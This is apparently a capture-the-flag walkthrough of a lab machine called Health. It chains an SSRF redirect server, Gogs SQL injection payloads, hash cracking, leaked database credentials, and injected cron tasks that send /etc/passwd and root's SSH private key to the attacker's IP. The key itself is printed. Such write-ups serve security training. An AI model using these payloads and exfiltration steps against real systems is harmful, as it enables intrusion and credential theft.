Health
Recon
HTTP (80)

I first tested the functionality and for payload MY_IP:80, for monitor MY_IP:81, interval */1 * * * *
(every minute) and Always to be sent. The application crashed because of Allowed memory size of 134217728 bytes exhausted (tried to allocate 67108872 bytes)
. Backend is Laravel, it's in Debug mode and some code is leaked. The callback is done by file_get_contents
function, which in a nutshell is like curl~~

nmap showed port 3000, but it's filtered from outside. This functionality can lead to SSRF, but using the health.htb
domain as parameters we get denied that host is not allowed.

Create simple server that also handles POST requests
from http.server import HTTPServer, BaseHTTPRequestHandler
import logging
import json
from pathlib import Path
from datetime import datetime
OUTPUT = Path('./output')
OUTPUT.mkdir(exist_ok=True)
class LoggingHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
headers = json.dumps(dict(self.headers.items()), indent=2)
logging.info(f"GET {self.path}\nHeaders: {headers}")
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:3000')
self.end_headers()
self.wfile.write(b"GET request received!")
def do_POST(self):
headers = json.dumps(dict(self.headers.items()), indent=2)
content_length = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_length).decode()
try:
post_data = json.loads(post_data)
with open(OUTPUT / f'{datetime.now()}.html', 'w') as f: f.write(post_data['body'])
logging.info(f"POST {self.path}\nHeaders: {headers}\nBody: {json.dumps(post_data, indent=2)}")
except:
logging.info(f"POST {self.path}\nHeaders: {headers}\nBody: {post_data}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"POST request received!")
def run(server_class=HTTPServer, handler_class=LoggingHTTPRequestHandler, port=8080):
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f"Starting server on port {port}...")
httpd.serve_forever()
if __name__ == "__main__":
run(port=80)

Port 3000 is running Gogs
, which is self deployed Github instance~~

Gogs - 'users'/'repos' '?q' SQL Injectionhttps://pentest-tools.com/vulnerabilities-exploits/gogs-go-git-service-sql-injection_3068
Vulnerability is using string concatenation instead of prepared statements.

Exploit DB payloads failed, but exploit notes has simpler payload: https://exploit-notes.hdks.org/exploit/version-control/git/gogs-pentesting/
Get users and password
self.send_header('Location', "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--")
{"data":[{"username":"susanne","avatar":"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce"},{"username":"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37","avatar":"//1.gravatar.com/avatar/1"}],"ok":true}
The hash is not crackable, if we go to actual model for this version we see it has salt
https://github.com/gogs/gogs/blob/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d/models/user.go
Get salt:
self.send_header('Location', "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--")
{"data":[{"username":"susanne","avatar":"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce"},{"username":"sO3XIbeW14","avatar":"//1.gravatar.com/avatar/1"}],"ok":true}
Password is PBKDF2 encrypted
// EncodePasswd encodes password to safe format.
func (u *User) EncodePasswd() {
newPasswd := base.PBKDF2([]byte(u.Passwd), []byte(u.Salt), 10000, 50, sha256.New)
u.Passwd = fmt.Sprintf("%x", newPasswd)
}
I wanted to crack this with john, but it got too complicated and went with hashcat.
Hash format: https://hashcat.net/wiki/doku.php?id=example_hashes - 10900 PBKDF2-HMAC-SHA256
➜ .\hashcat.exe -a 0 .\hashes .\rockyou.txt
sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
SSH (22)
└─$ sshpass -p 'february15' ssh susanne@health.htb
susanne@health:~$ id
uid=1000(susanne) gid=1000(susanne) groups=1000(susanne)
User.txt
susanne@health:~$ cat user.txt
e80b3f93b00fce321eb3613256666765
Privilege Escalation
susanne@health:/var/www/html$ cat .env | grep -vE '^$|(=|null)$'
APP_NAME=Laravel
APP_ENV=local
APP_DEBUG=true
APP_URL=http://localhost
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DRIVER=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_FROM_NAME="${APP_NAME}"
AWS_DEFAULT_REGION=us-east-1
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SHOW DATABASES;'
+--------------------+
| Database |
+--------------------+
| information_schema |
| laravel |
+--------------------+
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SHOW TABLES;'
+------------------------+
| Tables_in_laravel |
+------------------------+
| failed_jobs |
| migrations |
| password_resets |
| personal_access_tokens |
| tasks |
| users |
+------------------------+
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM failed_jobs;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM migrations;'
+----+-------------------------------------------------------+-------+
| id | migration | batch |
+----+-------------------------------------------------------+-------+
| 1 | 2014_10_12_000000_create_users_table | 1 |
| 2 | 2014_10_12_100000_create_password_resets_table | 1 |
| 3 | 2019_08_19_000000_create_failed_jobs_table | 1 |
| 4 | 2019_12_14_000001_create_personal_access_tokens_table | 1 |
| 5 | 2022_05_17_093614_create_tasks_table | 1 |
+----+-------------------------------------------------------+-------+
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM password_resets;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM personal_access_tokens;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM tasks;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM users;'
Database is empty?... (I thought this was Gogs db)
Git shows some modification have not been committed to this application and most likely some cronjob is running in background.
susanne@health:/var/www/html$ git config --global --add safe.directory /var/www/html
susanne@health:/var/www/html$ git status
On branch master
Changes to be committed:
(use "git reset HEAD <file>..." to unstage)
renamed: resources/views/welcome.blade.php -> resources/views/index.blade.php
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git checkout -- <file>..." to discard changes in working directory)
modified: app/Console/Kernel.php
modified: app/Http/Controllers/HealthChecker.php
modified: app/Models/Task.php
modified: composer.json
modified: composer.lock
modified: database/migrations/2022_05_17_093614_create_tasks_table.php
modified: database/seeders/CreateTask.php
deleted: package-lock.json
modified: package.json
modified: public/.htaccess
modified: resources/js/bootstrap.js
modified: resources/views/index.blade.php
modified: routes/web.php
modified: webpack.mix.js
Untracked files:
(use "git add <file>..." to include in what will be committed)
app/Http/Controllers/TaskController.php
app/Rules/
public/css/
public/js/
public/mix-manifest.json
resources/sass/
resources/views/layout.blade.php
resources/views/view.blade.php
Easiest way to observe what's running is pspy
└─$ sshpass -p 'february15' scp /opt/scripts/enum/pspy64 susanne@health.htb:/tmp/pspy
susanne@health:/var/www/html$ chmod +x /tmp/pspy
susanne@health:/var/www/html$ /tmp/pspy &
[1] 4966
2024/12/14 11:58:01 CMD: UID=0 PID=4990 | sleep 5
2024/12/14 11:58:01 CMD: UID=0 PID=4989 | php artisan schedule:run
2024/12/14 11:58:01 CMD: UID=0 PID=4988 | /bin/bash -c sleep 5 && /root/meta/clean.sh
2024/12/14 11:58:01 CMD: UID=0 PID=4987 | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
susanne@health:/var/www/html/app/Console$ cat Kernel.php
<?php
namespace App\Console;
use App\Http\Controllers\HealthChecker;
use App\Models\Task;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
use Illuminate\Support\Facades\Log;
class Kernel extends ConsoleKernel {
protected function schedule(Schedule $schedule) {
/* Get all tasks from the database */
$tasks = Task::all();
foreach ($tasks as $task) {
$frequency = $task->frequency;
$schedule->call(function () use ($task) {
/* Run your task here */
HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);
Log::info($task->id . ' ' . \Carbon\Carbon::now());
})->cron($frequency);
}
}
/**
* Register the commands for the application.
* @return void
*/
protected function commands() {
$this->load(__DIR__ . '/Commands');
require base_path('routes/console.php');
}
}
susanne@health:/var/www/html$ cat app/Models/Task.php
<?php
namespace App\Models;
use App\Traits\Uuids;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Task extends Model {
use Uuids;
use HasFactory;
protected $fillable = ['webhookUrl', 'monitoredUrl', 'frequency', 'onlyError'];
public $incrementing = false;
protected $keyType = 'string';
}
Just download the source....
susanne@health:/var/www/html$ tar --exclude='vendor' --exclude='node_modules' -czvf /tmp/app.tgz /var/www/html
---
└─$ sshpass -p 'february15' scp susanne@health.htb:/tmp/app.tgz .
└─$ mkdir app && tar -xvzf app.tgz -C app
We already leaked the code with Debug mode, but monitoredUrl
is read by file_get_contents
which supports both files and urls. The issue from outside was middleware filter which disallows localhost and just files, but since we have access to database itself we can inject rows without frontend and read files.

When we do Create
from frontend new task gets added to tasks
table.
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM tasks;'
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
| id | webhookUrl | onlyError | monitoredUrl | frequency | created_at | updated_at |
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
| 74d2a046-de8d-4f10-9f4a-545a12ed9465 | http://10.10.14.113 | 0 | http://10.10.14.113 | */1 * * * * | 2024-12-14 12:42:57 | 2024-12-14 12:42:57 |
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
susanne@health:/var/www/html$ mysqldump -u 'laravel' -p'MYsql_strongestpass@2014+' laravel tasks | grep INSERT
INSERT INTO `tasks` VALUES ('aabfb5b6-9305-4c5c-b611-e65355f00c0b','http://10.10.14.113',0,'http://10.10.14.113','*/1 * * * *','2024-12-14 12:44:03','2024-12-14 12:44:03');
First let's test /etc/passwd
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e "INSERT INTO tasks VALUES ('aabfb5b6-9305-4c5c-b611-e65355f00c0b','http://10.10.14.113',0,'/etc/passwd','*/1 * * * *','2024-12-14 12:44:03','2024-12-14 12:44:03');"
After some time it returns the callback.

Grab the SSH key
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e "INSERT INTO tasks VALUES ('aabfb5b6-9305-4c5c-b611-e65355f00c0b','http://10.10.14.113',0,'/root/.ssh/id_rsa','*/1 * * * *','2024-12-14 12:44:03','2024-12-14 12:44:03');"
└─$ vi root.id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9/jG5NPqc2TfW4Nlj9gE
KScDJTrF0vXYnIy4yUwM4/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq
IMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH/
KuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL/XP1hN4B7egzjcV8Rphj6XRE3bhgH
7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8
W6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae
NPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9
t3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8/v/3Jeesznu+RJ+G0ezyUGfi0wpQRoD
C2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl
hnqFXpOWB771WnW9yH7/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x/LUyan++D+8
efiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ
zkbVWX3JRDh4vdFOBGB/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT
rti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB
N1ZI4E59+O3Z15VgZ/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD
SsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o
++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp
UnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR/xkIP/Mog1a
vmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU
6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC/cQbPm
QeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G
-----END RSA PRIVATE KEY-----
└─$ chmod 600 root.id_rsa
└─$ ssh root@health.htb -i root.id_rsa
root@health:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@health:~# cat root.txt
9d19eaeb33c6c639ced76a860fc6ebaa
Last updated